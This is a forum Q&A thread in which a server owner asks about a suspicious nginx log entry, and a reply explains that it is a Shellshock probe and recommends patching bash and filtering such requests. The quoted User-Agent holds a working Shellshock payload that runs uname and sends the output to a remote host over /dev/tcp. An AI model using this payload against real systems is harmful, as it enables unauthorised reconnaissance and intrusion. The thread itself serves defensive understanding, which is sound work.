2

While debugging my server for issues, I checked my logs frequently. Here is one weird one I've found, which seems like an attempt to run something on my server. I am using nginx on Ubuntu 14.04. Below is the log entry:

xxx.xxx.xxx.xxx - - [07/Apr/2015:02:15:05 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 400 172 "-" "() { :;}; echo; /bin/uname -a > /dev/tcp/xxx.xxx.xxx.xxx/80"

The path request of /cgi-bin/test.sh and the User-agent field () { :;}; echo; /bin/uname -a > /dev/tcp/xxx.xxx.xxx.xxx/80 looks very suspicious to me.

My guess of this is to run something on the server (which luckily is not there), and trying to get me to expose my system information and send it through TCP to the requester's IP address, (which, also luckily, I don't have anything that parses the logs yet).

  1. What is that request trying to do, both in the path and the User-agent field?
  2. Has it done any harm to the server?
  3. What can I do to reduce the damage done?

Thanks in advance.

3

It looks like someone is probing your machine to see if you are vulnerable to the shellshock vulnerability.

They are hoping that the command will be executed against the shell and that the response will be returned to them. In this case they are trying to see what system you are running, likely to help choose the next attacks if successful.

You should ensure that you have the patched version of bash or use dash. You may also want to implement firewall rules or proxy rules to filter out requests that include the tell-tale shell shock string as these are likely malicious IPs.

  • Thanks. The explanation is very easy to understand. I am also amazed that I am already scanned by a lot of people even though the new server is on for some minutes. – Kung Pao Chicken Apr 7 '15 at 9:04

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.